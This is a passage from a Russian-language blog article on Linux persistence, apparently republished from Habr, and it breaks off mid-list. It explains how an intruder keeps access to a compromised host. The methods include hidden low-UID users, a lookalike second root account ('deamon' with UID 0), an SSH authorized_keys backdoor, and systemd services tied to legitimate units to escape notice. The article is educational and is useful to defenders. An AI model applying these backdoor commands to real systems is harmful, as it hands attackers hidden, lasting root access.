{"id":326615,"date":"2021-07-18T15:00:24","date_gmt":"2021-07-18T15:00:24","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=326615"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=326615","title":{"rendered":"\u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 Linux. Linux Persistence"},"content":{"rendered":"\n<div class=\"post__text post__text_v2\" id=\"post-content-body\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/145\/f57\/5cc\/145f575cc5ed400a6f8cf6e86657f298.jpg\" width=\"1000\" height=\"672\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0432\u0430\u0436\u043d\u043e \u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0442\u0435\u0440\u044f\u0442\u044c. \u0412\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430, \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 &#8212; \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0440\u044b\u0432\u0430\u0435\u0442 \u0431\u0435\u043a-\u043a\u043e\u043d\u043d\u0435\u043a\u0442. \u0418 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0441\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043c\u0430\u0441\u0441\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0441\u043e\u0431\u0440\u0430\u043b\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u043d\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0448\u0443\u043c\u043d\u044b\u0445, \u043d\u043e \u0435\u0441\u0442\u044c \u0438 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u043d\u0430 \u043c\u043e\u0439 \u0432\u043a\u0443\u0441.&nbsp;<\/p>\n<p><strong>Disclaimer:<\/strong>&nbsp;\u041d\u0438\u043a\u0430\u043a\u043e\u0439 rocket science. \u041d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e, \u043e \u0447\u0435\u043c \u0432\u0430\u043c \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0433\u043b\u043e \u0431\u044b\u0442\u044c \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e. \u041d\u0443 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u044f \u043f\u0438\u0441\u0430\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u044e \u0432 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0412\u0441\u0435, \u0447\u0442\u043e \u0432\u044b \u0434\u0435\u043b\u0430\u0435\u0442\u0435 \u043f\u043e\u0442\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0432\u0430\u0448\u0435\u0439 \u0441\u043e\u0432\u0435\u0441\u0442\u0438 \u0438 \u043f\u043e\u0434 \u0432\u0430\u0448\u0443 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c.<\/p>\n<h4>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<\/h4>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043d\u0435 \u0441\u043c\u0435\u043d\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c, \u043e \u043d\u0435\u043c \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0437\u043d\u0430\u0442\u044c. \u041c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e. \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0447\u0435\u043b\u043b\u0435\u043d\u0436\u0434 &#8212; \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u043d\u0435 \u0443\u0434\u0430\u043b\u0438\u043b\u0438.<\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 0:&nbsp;<code>adduser hacker<\/code><\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 1:&nbsp;<code>useradd -s \/bin\/bash hacker<\/code>&nbsp;&#8212; \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b: \u0438\u043f\u0443\u0442\u044c \u0434\u043e \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 (\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u043b\u044c\u0448\u0435 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c), \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, UID \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430: \u0417\u0430\u0434\u0430\u0439\u0442\u0435 UID \u043c\u0435\u043d\u044c\u0448\u0435 1000, \u0442\u043e\u0433\u0434\u0430 \u0432\u0430\u0448\u0430 \u0423\u0417 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0434\u043b\u044f \u0430\u0434\u043c\u0438\u043d\u0430 \u043a\u0430\u043a daemon. \u0418 \u0434\u0430\u0436\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u044d\u043a\u0440\u0430\u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u0442\u0432\u0438\u044f (\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 GUI?).&nbsp; \u041c\u043e\u0436\u043d\u043e \u0441\u0440\u0430\u0437\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 root. \u041d\u0443 \u0438\u043b\u0438 \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u0445\u043e\u0442\u044f \u0431\u044b \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 sudoers.&nbsp;&nbsp;<\/p>\n<p>\u0423\u0440\u043e\u0432\u0435\u043d\u044c 99:&nbsp;<code>sudo useradd -o -u 0 -g 0 -s \/bin\/bash deamon<\/code>&nbsp;&#8212; \u042d\u0442\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u043c\u044b \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043d\u0435\u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 UID \u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043d\u043e\u0432\u043e\u0433\u043e root (uid = 0),&nbsp; \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0440\u0430\u0441\u043e\u0442\u0443 \u0438\u043c\u0435\u043d\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#8212; \u044d\u0442\u043e \u043d\u0435 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430.<\/p>\n<p>\u041e\u0441\u043e\u0431\u044b\u0435 \u0438\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0446\u044b \u043c\u043e\u0433\u0443\u0442 \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043e\u0442\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b&nbsp;<code>\/etc\/passwd<\/code>,&nbsp;<code>\/etc\/shadow<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/group<\/code>, \u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0434\u043e\u043c\u0430\u0448\u043d\u044e\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e.<\/p>\n<p>\u041a\u0430\u043a \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a SOC \u043c\u043e\u0433\u0443 \u0432\u0430\u043c \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u0447\u043d\u043e, \u043c\u044b \u043e\u0447\u0435\u043d\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432\u043e \u0432\u0441\u0435\u0445&nbsp;<code>\/etc\/passwd<\/code>&nbsp;\u0438&nbsp;<code>\/etc\/shadow<\/code>. \u0410 \u043f\u043e\u0442\u043e\u043c \u043c\u043e\u0433\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0435\u0437 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0444\u0430\u0439\u043b&nbsp;<code>\/etc\/passwd<\/code>. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0432 \u0444\u0430\u0439\u043b\u0435&nbsp;<code>\/etc\/nsswitch.conf<\/code>&nbsp;\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u0431\u0430\u0437\u0443 passwd.<\/p>\n<p>###&nbsp; \u041a\u043b\u044e\u0447\u0438 SSH \u0414\u0440\u0443\u0433\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043d\u0435 \u043f\u043e\u0442\u0435\u0440\u044f\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044f, \u044d\u0442\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432&nbsp;<code>~\/.ssh\/authorized_keys<\/code>. \u0422\u043e\u0433\u0434\u0430 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043d\u0443\u0436\u0435\u043d. \u0412\u0441\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0435 \u043a\u043b\u044e\u0447&nbsp;<code>ssh-keygen<\/code>, \u043a\u043b\u044e\u0447&nbsp;<code>.pub<\/code>&nbsp;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0432&nbsp;<code>authorized_keys<\/code>, \u0438 \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 (600), \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043d\u043e. \u0418\u043d\u0430\u0447\u0435 \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u0431\u0435\u043a\u0434\u043e\u0440\u043e\u043c.<\/p>\n<h4>&#171;\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430&#187;<\/h4>\n<p>\u041f\u043e\u0434 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u044f \u0442\u0443\u0442 \u043f\u043e\u043d\u0438\u043c\u0430\u044e \u043b\u044e\u0431\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438\u043b\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u0433\u0434\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f, \u043d\u0430\u0434\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a\u0438\u0435 \u0435\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u044b.<\/p>\n<p><strong>\u0410\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u044f\u0434\u0440\u0430<\/strong><\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u044f\u0434\u0440\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0436\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 (systemd, init, upstart). \u0422\u0443\u0442 \u043c\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0441\u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043d\u0435\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u0443. \u0432 \u0444\u0430\u0439\u043b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Grub&nbsp;<code>\/boot\/grub2\/grub.cfg<\/code>&nbsp;\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 \u044f\u0434\u0440\u0430 init \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043a\u0430\u043a\u0443\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044f\u0434\u0440\u0430. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443&nbsp;<code>bash<\/code>&nbsp;\u0432\u043c\u0435\u0441\u0442\u043e&nbsp;<code>systemd<\/code>. \u041e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f root, \u0435\u0441\u043b\u0438 \u0432\u044b \u0435\u0433\u043e \u0437\u0430\u0431\u044b\u043b\u0438.&nbsp;<\/p>\n<pre><code class=\"bash\">linux \/vmlinuz-4.8.0-22-generic root=\/dev\/mapper\/systems-ubuntu ro quiet init=\/bin\/bash<\/code><\/pre>\n<p><strong>systemd &#8212; \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438<\/strong><\/p>\n<p>\u042d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0434\u0435\u043c\u043e\u043d\u043e\u0432, \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041e\u0431\u044b\u0447\u043d\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u043c\u0435\u0435\u0442 PID 1. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443&nbsp;<code>ps -p1 | grep \"init\\|upstart\\|systemd<\/code>, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u0421\u0430\u043c\u043e\u0439 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f&nbsp;<code>systemd<\/code>. \u041b\u044e\u0431\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0430\u0432\u0442\u043e\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c unit-\u0444\u0430\u0439\u043b:<\/p>\n<pre><code>[Unit] Description=My Script Service After=multi-user.target [Service] Type=idle ExecStart=\/usr\/bin\/local\/script.sh [Install] WantedBy=multi-user.target<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043d\u0443\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c&nbsp;<code>sudo chmod u+x \/usr\/local\/bin\/script.sh<\/code>&nbsp;\u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u0443&nbsp;<code>sudo systemctl enable myscript.service<\/code>.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b \u043c\u043d\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0435, \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u0442\u0443\u0442 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442 unit-\u0444\u0430\u0439\u043b\u043e\u0432. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0441\u0442\u044c Google. (<a href=\"https:\/\/docs.fedoraproject.org\/en-US\/quick-docs\/understanding-and-administering-systemd\/index.html\" rel=\"noopener noreferrer nofollow\">\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0442.<\/a>). \u0414\u0430 \u0438 \u044d\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u0438\u0442 \u0437\u0430 \u0440\u0430\u043c\u043a\u0438 \u0442\u0435\u043c\u044b \u0441\u0442\u0430\u0442\u044c\u0438. \u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0433\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442\u0441\u044f unit-\u0444\u0430\u0439\u043b\u044b:&nbsp;<\/p>\n<ul>\n<li>\n<p><code>\/usr\/lib\/systemd\/system\/<\/code>&nbsp;\u2013 \u044e\u043d\u0438\u0442\u044b \u0438\u0437 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 RPM \u2014 \u0432\u0441\u044f\u043a\u0438\u0435 nginx, apache, mysql \u0438 \u043f\u0440\u043e\u0447\u0435\u0435<\/p>\n<\/li>\n<li>\n<p><code>\/run\/systemd\/system\/<\/code>&nbsp;\u2014 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u043d\u0430 \u043b\u0435\u0442\u0443 \u2014 \u043e \u043d\u0438\u0445 \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435<\/p>\n<\/li>\n<li>\n<p><code>~\/.config\/systemd\/user\/<\/code>&nbsp;&#8212; \u044d\u0442\u043e\u0442 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0432\u0430\u043c \u043f\u043e\u043b\u0435\u0437\u0435\u043d, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u0434\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043e root. \u0422\u0443\u0442 \u043b\u0435\u0436\u0430\u0442 user-mode services.&nbsp;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/systemd\/system\/<\/code>&nbsp;\u2014 \u044e\u043d\u0438\u0442\u044b, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c. \u0421\u044e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0441\u0432\u043e\u0438 unit-\u0444\u0430\u0439\u043b\u044b. \u0410 \u043c\u043e\u0436\u043d\u043e \u0432\u043d\u0435\u0441\u0442\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435, \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043c\u0435\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u043e. \u0422\u0443\u0442 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u0435\u0442 \u0432\u0430\u0448\u0435\u0439 \u0444\u0430\u043d\u0442\u0430\u0437\u0438\u0438.<\/p>\n<\/li>\n<\/ul>\n<ol>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0441\u0432\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<\/li>\n<li>\n<p>\u0412\u043f\u0438\u0448\u0438\u0442\u0435 \u0435\u0433\u043e \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 Requires \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u0418 \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u0441 \u0441\u0435\u043a\u0446\u0438\u044e OnFailure. \u0412 \u0438\u0442\u043e\u0433\u0435 